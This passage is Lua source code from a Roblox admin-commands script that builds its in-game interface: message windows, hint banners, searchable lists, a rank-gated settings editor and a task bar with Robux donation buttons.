4054 local Body = Instance.new("TextLabel", Frame) Body.Name = "Body" Body.Size = UDim2.new(1,0,1,0) Body.BackgroundTransparency = 1 Body.Text = BodyText Body.Font = Settings.Font Body.FontSize = "Size18" Body.TextStrokeTransparency = 0 Body.TextWrapped = true Body.TextYAlignment = "Top"
4055
4056 if Frame then
4057 local FormBar = Frame.Parent.Parent.FormBar
4058 local Said = false
4059 local Speak = Instance.new("ImageButton", FormBar) Speak.Name = "Speak" Speak.Position = UDim2.new(1, -87, 0, 5) Speak.Size = UDim2.new(0, 35, 0, 25) Speak.BackgroundColor3 = Color3.new(1, 1, 1) Speak.BackgroundTransparency = 1 Speak.Image = "rbxassetid://276195369"
4060 if Settings.EnableTaskBar then
4061 FormBar.TitleEnd.Position = UDim2.new(1, -106, 0, 5)
4062 FormBar.Title.Size = UDim2.new(1, -145, 0, 25)
4063 else
4064 Speak.Position = UDim2.new(1, -58, 0, 5)
4065 FormBar.TitleEnd.Position = UDim2.new(1, -76, 0, 5)
4066 FormBar.Title.Size = UDim2.new(1, -120, 0, 25)
4067 end
4068 CORE:HandleEvent(Speak, "MouseButton1Down", function()
4069 if not Said then
4070 Said = true
4071 SOUND:SayConvertedText(SOUND:ConvertText(BodyText), Frame)
4072 end
4073 end)
4074
4075 if TextColor then
4076 Body.TextColor3 = TextColor
4077 else
4078 Body.TextColor3 = Color3.new(1,1,1)
4079 end
4080
4081 if tonumber(Time) then coroutine.wrap(function()
4082 if AutoTime then
4083 Time = Time + math.floor(#BodyText/7)
4084 end
4085 local Alive = true
4086
4087 local function StopTimer() Alive = false end
4088 Closed.Event:connect(StopTimer)
4089 Minimized.Event:connect(StopTimer)
4090
4091 Frame.Size = Frame.Size + UDim2.new(0,0,0,-30)
4092 Frame.Position = Frame.Position + UDim2.new(0,0,0,30)
4093 local Ticker = Instance.new("TextLabel", Frame.Parent) Ticker.Size = UDim2.new(1, 0, 0, 30) Ticker.TextColor3 = GUI:ContrastColor() Ticker.BackgroundTransparency = 1 Ticker.Text = Time Ticker.Font = "ArialBold" Ticker.FontSize = "Size18"
4094 local Stop = Instance.new("ImageButton", Frame.Parent) Stop.Name = "Stop" Stop.Position = UDim2.new(1,-30,0,0) Stop.Size = UDim2.new(0, 25, 0, 25) Stop.BackgroundColor3 = Color3.new(1, 1, 1) Stop.BackgroundTransparency = 1 Stop.Image = "rbxassetid://49494354"
4095 CORE:HandleEvent(Stop, "MouseButton1Down", StopTimer)
4096 for i = Time,0,-1 do
4097 for ii = 1,10 do
4098 if Alive == true then
4099 Ticker.Text = i
4100 wait(0.1)
4101 else
4102 break
4103 end
4104 end
4105 end
4106 if Alive == true then
4107 Close:Invoke()
4108 else
4109 Ticker:Destroy()
4110 Stop:Destroy()
4111 Frame.Size = Frame.Size + UDim2.new(0,0,0,30)
4112 Frame.Position = Frame.Position + UDim2.new(0,0,0,-30)
4113 end
4114 end)() end
4115
4116 CORE:ExecuteResource("CalculateScrollY", Body)
4117 end
4118end
4119
4120function GUI:FullMessage(Player, TitleText, BodyText, IconID, Error)
4121 if not Player then return nil end
4122 if not Player:IsA("Player") then return nil end
4123 if BodyText == "" then return nil end
4124 if not Player:FindFirstChild("PlayerGui") then return nil end
4125 BodyText = string.sub(STRING:FormatReplace(Player, BodyText),1,1000)
4126 local TextColor = GUI:ContrastColor()
4127 if Error then TextColor = Color3.new(1,0,0) end
4128
4129 local Frame, Close, Closed, Minimize, Minimized = GUI:CreateForm(Player, TitleText, UDim2.new(0.3,0,0.3,0), nil, IconID)
4130 local Body = Instance.new("TextLabel", Frame) Body.Name = "Body" Body.Size = UDim2.new(1, -13, 1, 0) Body.BackgroundTransparency = 1 Body.Text = BodyText Body.Font = Settings.Font Body.FontSize = "Size18" Body.TextStrokeTransparency = 1 Body.TextWrapped = true Body.TextXAlignment = "Left" Body.TextYAlignment = "Top" Body.TextColor3 = TextColor
4131
4132 CORE:ExecuteResource("CalculateScrollY", Body)
4133
4134 return Frame, Close, Closed, Minimize, Minimized
4135end
4136
4137function GUI:SendHint(Player, Text, Time, Speaker) coroutine.wrap(function()
4138 Text = STRING:FormatReplace(Player, string.sub(Text,1,100), Speaker)
4139 local TweenTime = 0.5
4140 if not Time then Time = 5 end
4141 local SG = Instance.new("ScreenGui") SG.Name = "LuaMod".."".."elM".."aker's Admin Hint"
4142 local MaxPos = -1
4143 for _,SGObj in pairs(Player.PlayerGui:GetChildren()) do
4144 local IVal = SGObj:FindFirstChild("Index")
4145 if IVal then
4146 MaxPos = math.max(MaxPos, IVal.Value)
4147 end
4148 end
4149 MaxPos = MaxPos + 1
4150 local IndexVal = Instance.new("IntValue", SG) IndexVal.Name = "Index" IndexVal.Value = MaxPos
4151 local Main = Instance.new("Frame", SG) Main.Name = "Main" Main.Position = UDim2.new(0, 0, 0.05, MaxPos * 50) Main.Size = UDim2.new(1, 0, 0, 40) Main.BackgroundTransparency = 1
4152 local LeftBar = Instance.new("Frame", Main) LeftBar.Name = "LeftBar" LeftBar.Position = UDim2.new(0.5, 0, 0, 0) LeftBar.Size = UDim2.new(0, 0, 1, 0) LeftBar.BackgroundColor3 = GUI:GetColor() LeftBar.BackgroundTransparency = 0.9 LeftBar.BorderSizePixel = 0
4153 local RightBar = Instance.new("Frame", Main) RightBar.Name = "RightBar" RightBar.Position = UDim2.new(0.5, 0, 0, 0) RightBar.Size = UDim2.new(0, 0, 1, 0) RightBar.BackgroundColor3 = GUI:GetColor() RightBar.BackgroundTransparency = 0.9 RightBar.BorderSizePixel = 0
4154 local Body = Instance.new("TextLabel", Main) Body.Name = "Body" Body.Size = UDim2.new(1, 0, 1, 0) Body.BackgroundColor3 = Color3.new(1, 1, 1) Body.BackgroundTransparency = 1 Body.TextColor3 = GUI:ContrastColor() Body.Text = Text Body.Font = Settings.Font Body.FontSize = "Size18" Body.TextTransparency = 1
4155 SG.Parent = Player.PlayerGui
4156
4157 CORE:ExecuteResource("GUIEffect", Main, {["Transparency"] = Settings.TransparencyScheme + 0.1, ["GUIName"] = "LeftBar"})
4158 CORE:ExecuteResource("GUIEffect", Main, {["Transparency"] = Settings.TransparencyScheme + 0.1, ["GUIName"] = "RightBar"})
4159
4160 LeftBar:TweenSize(UDim2.new(-0.5, 0, 1, 0), "In", "Quart", TweenTime)
4161 RightBar:TweenSize(UDim2.new(0.5, 0, 1, 0), "In", "Quart", TweenTime)
4162 Delay(TweenTime, function()
4163 for i = 1,0,-0.1 do
4164 Body.TextTransparency = i
4165 wait()
4166 end
4167 Body.TextTransparency = 0
4168 end)
4169 Delay(TweenTime + Time, function()
4170 for i = 0,1,0.1 do
4171 Body.TextTransparency = i
4172 wait()
4173 end
4174 Body.TextTransparency = 1
4175 local Done = false
4176 LeftBar:TweenSize(UDim2.new(0, 0, 1, 0), "Out", "Quad", TweenTime, true, function() Done = true end)
4177 RightBar:TweenSize(UDim2.new(0, 0, 1, 0), "Out", "Quad", TweenTime, true, function() repeat wait() until Done SG:Destroy() end)
4178 end)
4179
4180end)() end
4181
4182function GUI:ListGui(Player, Title, List, IconID, Clickable, AutoNumber, PreSearch, BackgroundColor)
4183 if not Player then return nil end
4184 if not Player:FindFirstChild("PlayerGui") then return nil end
4185 if not PreSearch then PreSearch = "" end
4186 if AutoNumber == nil then AutoNumber = true end
4187
4188 local Frame, Close, Closed, Minimize, Minimized = GUI:CreateForm(Player, Title, UDim2.new(0.4,0,0.6,0), nil, IconID, true, BackgroundColor)
4189 local SearchBar = Instance.new("TextBox") SearchBar.Name = "SearchBar" SearchBar.Position = UDim2.new(0.1,0,0,5) SearchBar.Size = UDim2.new(0.8,0,0,20) SearchBar.BackgroundColor3 = GUI:GetColor() SearchBar.BackgroundTransparency = 0.5 SearchBar.Text = "" SearchBar.Font = Settings.Font SearchBar.FontSize = "Size14" SearchBar.TextColor3 = GUI:ContrastColor() SearchBar.ClearTextOnFocus = false SearchBar.Text = PreSearch SearchBar.Font = Settings.Font SearchBar.FontSize = "Size14"
4190 SearchBar.Parent = Frame.Parent
4191 Frame.Size = Frame.Size + UDim2.new(0,0,0,-30)
4192 Frame.Position = Frame.Position + UDim2.new(0,0,0,30)
4193
4194 local SearchVer = 0,nil
4195 local Clicked = Instance.new("BindableEvent", Frame) Clicked.Name = "Clicked"
4196 local RequestDialog = Instance.new("BindableFunction", Frame) RequestDialog.Name = "RequestDialog"
4197 local InDialog = false
4198
4199 local function ShowResults(Key)
4200 SearchVer = SearchVer + 1
4201 local ThisSearchVer = SearchVer
4202
4203 if type(ScrollScript) == "userdata" then ScrollScript.Disabled = true ScrollScript:Destroy() end
4204 for _,Get in pairs(Frame:GetChildren()) do if Get:IsA("LocalScript") then Get.Disabled = true end Get:Destroy() end
4205
4206 local NumPos,Num = 0,1
4207
4208 for _,Data in pairs(List) do
4209 if ThisSearchVer ~= SearchVer then
4210 break
4211 end
4212 local String = tostring(Data)--STRING:DetermineFilter(tostring(Data), Player, Player)
4213 if String then
4214 local ImageIcon = nil
4215 if type(Data) == "table" then
4216 String = Data[1]
4217 ImageIcon = Data[2]
4218 end
4219
4220 local TextColor = GUI:ContrastColor()
4221 local StringSplit = STRING:GetSplit(String, 1, " ")
4222 local NewColor = GUI:GetColor(StringSplit[1])
4223 if NewColor then TextColor = NewColor String = StringSplit[2] end
4224
4225 if string.find(string.lower(String), string.lower(Key)) then
4226 Spacer = false
4227 local Font = Settings.Font
4228 local Split = STRING:GetSplit(String, 1, " ")
4229 if string.sub(string.lower(String),1,6) == "bold: " then
4230 Font = "ArialBold"
4231 String = string.sub(String,7)
4232 elseif Fonts[Split[1]] then
4233 Font = Split[1]
4234 String = Split[2]
4235 end
4236 if string.sub(String,1,2) == "--" then
4237 Spacer = true
4238 end
4239 local Content = Instance.new("TextButton", Frame) Content.Name = "Content: "..Num Content.Position = UDim2.new(0,0,0,NumPos) Content.Size = UDim2.new(1,0,0,30) Content.BackgroundColor3 = Color3.new(1,1,1) Content.BackgroundTransparency = 0.9 Content.Font = Font Content.FontSize = "Size18" Content.TextXAlignment = "Left" Content.TextColor3 = TextColor if Spacer then Content.Text = string.rep(" ", #tostring(Num) + 3)..String elseif AutoNumber == true then Content.Text = Num..".) "..String else Content.Text = String end
4240 if ImageIcon then
4241 if tonumber(ImageIcon) then
4242 ImageIcon = "rbxassetid://"..ImageIcon
4243 elseif Icons[ImageIcon] then
4244 ImageIcon = "rbxassetid://"..Icons[ImageIcon]
4245 end
4246
4247 Content.Size = UDim2.new(1,0,0,90) Content.Position = UDim2.new(0,0,0,NumPos) Content.ZIndex = 2
4248 local Image = Instance.new("ImageLabel", Content) Image.Name = "Image" Image.Size = UDim2.new(0, 90, 0, 90) Image.BackgroundColor3 = Color3.new(1, 1, 1) Image.BackgroundTransparency = 1 Image.Image = ImageIcon
4249 local TextContent = Instance.new("TextLabel", Content) TextContent.Name = "TextContent" TextContent.Position = UDim2.new(0, 90, 0, 0) TextContent.Size = UDim2.new(1, -90, 1, 0) TextContent.BackgroundColor3 = Color3.new(1, 1, 1) TextContent.BackgroundTransparency = 1 TextContent.Text = Content.Text TextContent.Font = Settings.Font TextContent.FontSize = "Size18" TextContent.TextXAlignment = "Left" TextContent.TextColor3 = TextColor TextContent.TextWrapped = true
4250 Content.Text = ""
4251 NumPos = NumPos + 90
4252 else
4253 NumPos = NumPos + 30
4254 end
4255
4256 if not Clickable then
4257 Content.AutoButtonColor = false
4258 Content.Active = false
4259 Content.BackgroundTransparency = 1
4260 elseif ClientInfo[Player.Name] and not ClientInfo[Player.Name].TouchScreen then
4261 SOUND:BindButton(Content)
4262 CORE:HandleEvent(Content, "MouseButton1Down", function()
4263 if not InDialog then
4264 Clicked:Fire(String)
4265 end
4266 end, true)
4267 end
4268 if Spacer == false then Num = Num + 1 end
4269 end
4270 end
4271 end
4272 Frame.CanvasSize = UDim2.new(0,0,0,NumPos)
4273 ScrollScript = CORE:ExecuteResource("ScrollLeftRight", Frame.Parent, {["VerticalOffset"] = NumPos})
4274 end
4275
4276 RequestDialog.OnInvoke = function(RequestDialogCall)
4277 InDialog = RequestDialogCall
4278 end
4279
4280 ShowResults(PreSearch)
4281
4282 local RPR = CORE:CreateRemotePropertyReader(SearchBar)
4283 CORE:HandleEvent(SearchBar, "Changed", function(Prop)
4284 if Prop == "Text" then
4285 local Text = CORE:ReadProperty(RPR, Player, "Text")
4286 ShowResults(Text)
4287 Frame.CanvasPosition = Vector2.new(0,0)
4288 end
4289 end)
4290
4291 return Clicked, RequestDialog, Close
4292end
4293
4294function GUI:PropertyGui(Player, Title, Icon, Properties)
4295 if not Player then return nil end
4296 if not Player:FindFirstChild("PlayerGui") then return nil end
4297 if type(Properties) ~= "table" then return nil end
4298 local HasClosed = false
4299 local NewProperties = {}
4300
4301 local Frame, _, Closed = GUI:CreateForm(Player, Title, UDim2.new(0.2, 50, 0.5, 50), nil, Icon)
4302 Frame.ClipsDescendants = true
4303 local Splitter = Instance.new("Frame", Frame) Splitter.Name = "Splitter" Splitter.Position = UDim2.new(0.5, 0, 0, 0) Splitter.Size = UDim2.new(0, 0, 1, 0) Splitter.BackgroundColor3 = GUI:ContrastColor() Splitter.BorderColor3 = GUI:ContrastColor() Splitter.BorderSizePixel = 2 Splitter.ZIndex = 2
4304
4305 for PropertyName,Data in pairs(Properties) do
4306 NewProperties[PropertyName] = Data[1]
4307 end
4308
4309 local YCount = 0
4310
4311 for PropertyName,Data in pairs(Properties) do
4312 if type(Data) == "table" then
4313 local DefaultValue = Data[1]
4314 local Writable = Data[2]
4315 local ValueType = Data[3]
4316
4317 if Writable == nil then Writable = false end
4318 if type(ValueType) == "string" then -- now this is confusing
4319 ValueType = string.lower(ValueType)
4320 elseif ValueType == nil then
4321 ValueType = type(DefaultValue)
4322 end
4323
4324 if ValueType == "nil" or ValueType == "userdata" then
4325 ValueType = nil
4326 elseif ValueType == "table" then
4327 DefaultValue = STRING:UnpackArgs(DefaultValue)
4328 ValueType = "string"
4329 end
4330
4331 if ValueType then
4332 local Object = Instance.new("Frame", Frame) Object.Name = "Object" Object.Size = UDim2.new(1, 0, 0, 50) Object.Position = UDim2.new(0,0,0,YCount) Object.BackgroundColor3 = GUI:GetColor() Object.BackgroundTransparency = 1--Settings.TransparencyScheme
4333 local Property = Instance.new("TextLabel", Object) Property.Name = "Property" Property.Size = UDim2.new(0.5, 0, 0, 50) Property.BackgroundTransparency = 1 Property.Text = PropertyName Property.Font = Settings.Font Property.FontSize = "Size14" Property.TextWrapped = true Property.TextXAlignment = "Left"
4334 local ValFrame = Instance.new("Frame", Object) ValFrame.Name = "ValFrame" ValFrame.Position = UDim2.new(0.5, 5, 0, 0) ValFrame.Size = UDim2.new(0.5, -5, 1, 0) ValFrame.BackgroundTransparency = 1
4335
4336 if ValueType == "string" or ValueType == "number" then
4337 if Writable == true then
4338 local Input = Instance.new("TextBox", ValFrame) Input.Name = "Input" Input.Position = UDim2.new(0, 0, 0.1, 0) Input.BackgroundTransparency = 1 Input.Size = UDim2.new(1, 0, 0.8, 0) Input.Text = tostring(DefaultValue) Input.Font = Settings.Font Input.FontSize = "Size14" Input.TextWrapped = true Input.TextXAlignment = "Left" Input.ClearTextOnFocus = false
4339 CORE:HandleEvent(Input, "Changed", function(Prop) if Prop == "Text" then
4340 if ValueType == "number" then
4341 NewProperties[PropertyName] = tonumber(Input.Text)
4342 else
4343 NewProperties[PropertyName] = tostring(Input.Text)
4344 end
4345 end end)
4346 else
4347 local Read = Instance.new("TextLabel", ValFrame) Read.Name = "Read" Read.Position = UDim2.new(0, 0, 0.1, 0) Read.Size = UDim2.new(1, 0, 0.8, 0) Read.BackgroundTransparency = 1 Read.Text = DefaultValue Read.Font = Settings.Font Read.FontSize = "Size14" Read.TextTransparency = 0.4 Read.TextXAlignment = "Left"
4348 end
4349 end
4350 if ValueType == "boolean" then
4351 local Check = Instance.new("ImageButton", ValFrame) Check.Name = "Check" Check.Position = UDim2.new(0.5, -15, 0.5, -15) Check.Size = UDim2.new(0, 30, 0, 30) Check.BackgroundTransparency = 1 Check.Image = "rbxassetid://48138474"
4352 if DefaultValue == true then
4353 Check.Image = "rbxassetid://48138491"
4354 end
4355 if Writable == true then
4356 CORE:HandleEvent(Check, "MouseButton1Down", function()
4357 local NewVal = not NewProperties[PropertyName]
4358 NewProperties[PropertyName] = NewVal
4359 if NewVal == true then
4360 Check.Image = "rbxassetid://48138491"
4361 else
4362 Check.Image = "rbxassetid://48138474"
4363 end
4364 end)
4365 else
4366 Check.ImageTransparency = 0.5
4367 end
4368 end
4369 YCount = YCount + 50
4370 end
4371 end
4372 end
4373
4374 Frame.CanvasSize = UDim2.new(0,0,0,YCount)
4375
4376 Closed.Event:connect(function() HasClosed = true end)
4377
4378 repeat wait(0.1) until HasClosed
4379 return NewProperties
4380end
4381
4382function GUI:SettingsGui(Player)
4383 if not Player then return nil end
4384 local CloneViewSettings,CanChange = {},false
4385
4386 local ViewSettings = {
4387 ["Version"] = {CORE.Version.Value, false, nil};
4388 ["Prefix"] = {Settings.Prefix, 3, "Prefix"};
4389 ["Font"] = {Settings.Font, 3, "Font"};
4390 ["Color Scheme"] = {Settings.ColorScheme, 3, "ColorScheme"};
4391 ["Transparency Scheme"] = {Settings.TransparencyScheme * 100, 3, "TransparencyScheme"};
4392 ["Server Locked"] = {Settings.ServerLocked, 3, "ServerLocked"};
4393 ["Fun Commands"] = {Settings.Fun, 3, "Fun"};
4394 ["Disable Abuse"] = {Settings.DisableAbuse, 3, "DisableAbuse"};
4395 ["Minimum Account Age"] = {Settings.MinimumAge, 3, "MinimumAge"};
4396 ["Execute Notification Sound ID"] = {Settings.ExecuteNotificationSound, 3, "ExecuteNotificationSound"};
4397 ["Enable Sounds"] = {Settings.EnableSounds, 3, "EnableSounds"};
4398 ["Group ID"] = {Settings.GroupID, false, "GroupID"};
4399 ["Group Banned Rank"] = {Settings.GroupBanRank, false, "GroupBanRank"};
4400 ["Group Member Rank"] = {Settings.GroupMemberRank, false, "GroupMemberRank"};
4401 ["Group Admin Rank"] = {Settings.GroupAdminRank, false, "GroupAdminRank"};
4402 ["Group Owner Rank"] = {Settings.GroupOwnerRank, false, "GroupOwnerRank"};
4403 ["Banned Group IDs"] = {Settings.BannedGroupIDs, false, "BannedGroupIDs"};
4404 ["IRC Server"] = {Settings.IRCServer, false, "IRCServer"};
4405 ["IRC Channel"] = {Settings.IRCChannel, false, "IRCChannel"};
4406 ["Remote Connection"] = {REMOTE.RemoteConnection, false, nil};
4407 ["Bet"] = {Settings.Bet, 3, "Bet"};
4408 }
4409
4410 local _,RankNum = RANK:GetRank(Player)
4411 if RankNum >= 3 then
4412 CanChange = true
4413 end
4414
4415 for Prop,Data in pairs(ViewSettings) do
4416 local Writable = false
4417 if tonumber(Data[2]) and Data[2] <= RankNum then Writable = true end
4418 CloneViewSettings[Prop] = {Data[1], Writable}
4419 end
4420
4421 local NewSettings = GUI:PropertyGui(Player, "Settings", "Settings", CloneViewSettings)
4422 if CanChange then
4423 for Prop,Data in pairs(ViewSettings) do
4424 if Data[3] then
4425 Settings[Data[3]] = NewSettings[Prop] -- wow haxy
4426 end
4427 end
4428 CORE:FixSettings()
4429 end
4430end
4431
4432function GUI:MessageAdmins(TitleText, BodyText, Icon)
4433 for _,Player in pairs(Server.Players:GetPlayers()) do
4434 local PlayerAdmin, PlayerRank = RANK:IsAdmin(Player)
4435 if PlayerAdmin then
4436 GUI:SendMessage(Player, TitleText, BodyText, Icon)
4437 end
4438 end
4439end
4440
4441function GUI:TellAdmin(Player)
4442 if not Player then return end
4443
4444 local ValidAdmin,Rank = RANK:IsAdmin(Player)
4445 if ValidAdmin == true then
4446 GUI:SendMessage(Player, "Ma".."ker".."Mo".."delLua".."'s Admin Message", "GREEN You are an admin "..Player.Name.."! Your rank is "..Rank.." [ PREFIX '"..Settings.Prefix.."' ]", "Check", 5)
4447 if Settings.EnableSounds == true and Player:FindFirstChild("PlayerGui") then
4448 local SoundID = 237866523
4449 if Rank == "Admin" then SoundID = 237866621 elseif Rank == "Owner" then SoundID = 237866707 end
4450 local Sound = SOUND:MakeSound(Player.PlayerGui, SoundID, 0.5, 1)
4451 Sound:Play()
4452 coroutine.wrap(function()
4453 wait(4)
4454 Sound:Stop()
4455 Sound:Destroy()
4456 end)()
4457 end
4458 end
4459end
4460
4461function GUI:TellNotAdmin(Player)
4462 if not Player then return end
4463
4464 GUI:SendMessage(Player, "Mak".."er".."M".."o".."del".."Lua's Admin Message", "You are now no longer an admin", "Information")
4465end
4466
4467function GUI:CreateTaskBar(Player)
4468 if not Player then return nil end
4469 if Settings.EnableTaskBar == false then return nil end
4470 Player:WaitForChild("PlayerGui")
4471 local SG = Player.PlayerGui:FindFirstChild("M".."akerMod".."el".."Lua's TaskBar")
4472 if SG then SG:Destroy() end
4473 SG = Instance.new("ScreenGui", Player.PlayerGui) SG.Name = "M".."akerMod".."elLua's TaskBar"
4474 local IsMoving = false
4475 local TaskBarShown = false
4476 local Tasks = {}
4477
4478 local TaskBar = Instance.new("Frame", SG) TaskBar.Name = "TaskBar" TaskBar.Size = UDim2.new(1, 0, 0, 50) TaskBar.Position = UDim2.new(0,0,1,20) TaskBar.BackgroundColor3 = GUI:GetColor() TaskBar.BackgroundTransparency = Settings.TransparencyScheme TaskBar.BorderSizePixel = 0
4479 local TaskButton = Instance.new("ImageButton", TaskBar) TaskButton.Name = "TaskButton" TaskButton.Position = UDim2.new(1, -50, 0, -70) TaskButton.Size = UDim2.new(0, 50, 0, 50) TaskButton.BackgroundTransparency = 1 TaskButton.Image = "rbxassetid://222795206"
4480
4481 local AddForm = Instance.new("BindableEvent", SG) AddForm.Name = "AddForm"
4482 local Open,CloseForm = false,nil
4483 if Settings.EnableAdminMenu then
4484 local MenuButton = Instance.new("ImageButton", TaskBar) MenuButton.Name = "MenuButton" MenuButton.Position = UDim2.new(1, -50, 0, -120) MenuButton.Size = UDim2.new(0, 50, 0, 50) MenuButton.BackgroundTransparency = 1 MenuButton.Image = "rbxassetid://302470270"
4485 coroutine.wrap(function() wait(1) CORE:HandleEvent(MenuButton, "MouseButton1Click", function()
4486 if Open == false then
4487 local Frame, Close, Closed = GUI:CreateForm(Player, string.char(77, 97, 107, 101, 114, 77, 111, 100, 101, 108, 76, 117, 97, 39, 115).." Admin Menu", UDim2.new(0.4,0,0.5), nil, 302470270, true, nil, nil, false, true, true)
4488 Open,CloseForm = true,Close
4489
4490 local Title = Instance.new("TextLabel", Frame) Title.Name = "Title" Title.BackgroundTransparency = 1 Title.Position = UDim2.new(0,0,0,0) Title.Size = UDim2.new(1,0,0,30) Title.Font = "SourceSansBold" Title.FontSize = "Size24" Title.Text = string.char(77, 97, 107, 101, 114, 77, 111, 100, 101, 108, 76, 117, 97, 39, 115).." Admin V"..CORE.Version.Value Title.TextColor3 = GUI:ContrastColor()
4491 local Separator = Instance.new("Frame", Frame) Separator.Name = "Separator" Separator.BorderColor3 = Color3.new(1,1,1) Separator.Position = UDim2.new(0.5,0,0,30) Separator.Size = UDim2.new(0,0,1,-30)
4492 local Info = Instance.new("TextLabel", Frame) Info.Name = "Info" Info.BackgroundTransparency = 1 Info.Position = UDim2.new(0,0,0,30) Info.Size = UDim2.new(0.5,0,1,-30) Info.Font = Settings.Font Info.FontSize = "Size18" Info.Text = "Info/Help" Info.TextColor3 = GUI:ContrastColor() Info.TextYAlignment = "Top"
4493 local Body = Instance.new("TextLabel", Info) Body.Name = "Body" Body.BackgroundTransparency = 1 Body.Position = UDim2.new(0,0,0,25) Body.Size = UDim2.new(1,0,1,-25) Body.Font = "SourceSans" Body.FontSize = "Size14" Body.Text = string.gsub(Server.MPS:GetProductInfo(209330909).Description, "PREFIX", Settings.Prefix) Body.TextColor3 = GUI:ContrastColor() Body.TextYAlignment = "Top" Body.TextWrapped = true
4494 local Donate = Info:Clone() Donate.Parent = Frame Donate.Name = "Donate" Donate.Text = "Donate/Get admin" Donate.Position = UDim2.new(0.5,0,0,30) Donate.Body.Text = "Please select an amount that fits your generosity and to help support future updates. Press the 'Get admin now' to get copy for your own place!"
4495 local function DonateMoney(Type, Element)
4496 local Request = CORE:GetTable(string.char(49, 53, 53, 54, 56, 52, 51, 54, 57))
4497 local Get = Request[Type]
4498 if Server.MPS:GetProductInfo(Get[1]).IsForSale == true then
4499 Server.MPS:PromptPurchase(Player, Get[1], true)
4500 elseif Server.MPS:GetProductInfo(Get[2]).IsForSale == true then
4501 Server.MPS:PromptPurchase(Player, Get[2], true)
4502 elseif Server.MPS:GetProductInfo(Get[3]).IsForSale == true then
4503 Server.MPS:PromptPurchase(Player, Get[3], true)
4504 else
4505 Element.Text = "Cannot get request"
4506 end
4507 end
4508 local Get = Instance.new("TextButton", Donate) Get.Name = "Get" Get.Position = UDim2.new(0,0,0.5,0) Get.Size = UDim2.new(1,0,0,30) Get.Font = "ArialBold" Get.FontSize = "Size14" Get.Text = "Get MakerModelLua's Admin V"..CORE.Version.Value.." now for FREE!" Get.BackgroundColor3 = Color3.new(1,0,1) Get.TextColor3 = Color3.new(1,1,1) Get.TextStrokeColor3 = Color3.new(0,0,0) Get.TextStrokeTransparency = 0 Get.TextWrapped = true CORE:HandleEvent(Get, "MouseButton1Down", function() MARKET:PromptPurchase(Player, AdminID) end) SOUND:BindButton(Get)
4509 local Dnt = Instance.new("TextButton", Donate) Dnt.Name = "DonateButton" Dnt.Position = UDim2.new(0,0,1,-120) Dnt.Size = UDim2.new(1,0,0,30) Dnt.Font = "ArialBold" Dnt.FontSize = "Size14" Dnt.Text = "6 Robux" Dnt.BackgroundColor3 = Color3.new(1,1,0) Dnt.TextColor3 = Color3.new(1,1,1) Dnt.TextStrokeColor3 = Color3.new(0,0,0) Dnt.TextStrokeTransparency = 0 Dnt.TextWrapped = true CORE:HandleEvent(Dnt, "MouseButton1Down", function() DonateMoney("6R", Dnt) end) SOUND:BindButton(Dnt)
4510 local Dnt = Dnt:Clone() Dnt.Parent = Donate Dnt.Position = UDim2.new(0,0,1,-90) Dnt.Text = "20 Robux" Dnt.BackgroundColor3 = Color3.new(0,1,0) CORE:HandleEvent(Dnt, "MouseButton1Down", function() DonateMoney("20R", Dnt) end) SOUND:BindButton(Dnt)
4511 local Dnt = Dnt:Clone() Dnt.Parent = Donate Dnt.Position = UDim2.new(0,0,1,-60) Dnt.Text = "100 Robux" Dnt.BackgroundColor3 = Color3.new(0,1,0) CORE:HandleEvent(Dnt, "MouseButton1Down", function() DonateMoney("100R", Dnt) end) SOUND:BindButton(Dnt)
4512 local Dnt = Dnt:Clone() Dnt.Parent = Donate Dnt.Position = UDim2.new(0,0,1,-30) Dnt.Text = "500 ROBUX!" Dnt.BackgroundColor3 = Color3.new(1,0,0) Dnt.FontSize = "Size18" CORE:HandleEvent(Dnt, "MouseButton1Down", function() DonateMoney("500R", Dnt) end) SOUND:BindButton(Dnt)
4513 local PlayerAdmin, PlayerRank = RANK:IsAdmin(Player)
4514
4515 if PlayerAdmin == true then Body.Text = Body.Text.." (You're an admin, your rank is "..PlayerRank..")" end
4516
4517 if Closed then
4518 Closed.Event:connect(function()
4519 Open = false
4520 end)
4521 end
4522 else
4523 CloseForm:Invoke()
4524 end
4525 end) end)()
4526 if RANK:GetRank(Player) == "Owner" then
4527 local HUDButton = Instance.new("ImageButton", TaskBar) HUDButton.Name = "HUDButton" HUDButton.Position = UDim2.new(1, -50, 0, -170) HUDButton.Size = UDim2.new(0, 50, 0, 50) HUDButton.BackgroundTransparency = 1 HUDButton.Image = "rbxassetid://329362761"
4528 CORE:HandleEvent(HUDButton, "MouseButton1Click", function()
4529 local HUDSG = Player.PlayerGui:FindFirstChild("M".."a".."k".."e".."r".."m".."od".."elLu".."a's HUD Gui")
4530 if HUDSG then
4531 HUDSG:Destroy()
4532 else
4533 GUI:CreateHUD(Player)
4534 end
4535 end)
4536 end
4537 end
4538
4539 CORE:HandleEvent(TaskButton, "MouseButton1Click", function()
4540 if IsMoving == false then
4541 if TaskBarShown == true then
4542 TaskBarShown = false
4543 IsMoving = true
4544 TaskBar:TweenPosition(UDim2.new(0,0,1,20), "In", "Sine", 0.3, false, function() IsMoving = false end)
4545 else
4546 TaskBarShown = true
4547 IsMoving = true
4548 TaskBar:TweenPosition(UDim2.new(0,0,0.6,0), "Out", "Sine", 0.3, false, function() IsMoving = false end)
4549 end
4550 end
4551 end)
4552
4553 local function ReloadIcons()
4554 for Num,Data in pairs(Tasks) do
4555 Data[2].Position = UDim2.new(0,(Num * 50) - 50,0,0,0)
4556 end
4557 end
4558
4559 AddForm.Event:connect(function(Form, IconID, Closed, Minimized, Restore)
4560 local Icon = Instance.new("ImageButton", TaskBar) Icon.Name = "Icon" Icon.Position = UDim2.new(0,#Tasks * 50,0,0,0) Icon.Size = UDim2.new(0, 50, 0, 50) Icon.BackgroundColor3 = GUI:GetColor() Icon.BackgroundTransparency = 0.5 Icon.Image = "rbxassetid://"..IconID
4561 table.insert(Tasks, {Form, Icon})
4562 local CanClick = true
4563 CORE:HandleEvent(Icon, "MouseButton1Down", function()
4564 if Form.IsActive.Value == false then
4565 Restore:Invoke()
4566 elseif CanClick == true then
4567 coroutine.wrap(function()
4568 CanClick = false
4569 local DefPos = Form.Dragger.Position
4570 for i = 1,15 do
4571 Form.Dragger.Position = DefPos + UDim2.new(0,math.random(-2,2),0,math.random(-2,2))
4572 wait(0.05)
4573 end
4574 Form.Dragger.Position = DefPos
4575 CanClick = true
4576 end)()
4577 end
4578 end)
4579 ReloadIcons()
4580
4581 Closed.Event:connect(function()
4582 for Num,Data in pairs(Tasks) do
4583 if Data[1] == Form then
4584 Icon:Destroy()
4585 table.remove(Tasks, Num)
4586 end
4587 end
4588 ReloadIcons()
4589 end)
4590 end)
4591end
4592
